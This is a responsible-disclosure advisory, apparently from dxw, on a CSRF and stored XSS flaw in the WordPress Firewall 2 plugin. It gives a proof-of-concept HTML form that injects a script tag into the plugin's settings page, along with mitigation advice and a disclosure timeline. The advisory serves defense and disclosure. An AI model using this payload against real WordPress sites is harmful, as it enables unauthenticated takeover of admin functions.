### Description
CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can
### Vulnerability
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings
page.
### Proof of concept
Visit the following page, click on the submit button, then visit the plugin’s options page:
```
<form method=\"POST\"
action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\";>
<input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
<input type=\"text\" name=\"set_email\" value=\"Set Email\">
<input type=\"submit\">
</form>
```
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.
### Mitigations
Disable the plugin until a new version is released that fixes this bug.
### Disclosure policy
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy:
https://security.dxw.com/disclosure/
Please contact us on security () dxw com to acknowledge this report if you received it via a third party (for example,
plugins () wordpress org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
### Timeline
2016-12-23: Discovered
2017-03-16: Reported to vendor by email
2017-04-04: Vendor could not be contacted
### Discovered by dxw:
Tom Adams
Please visit security.dxw.com for more information.
暂无评论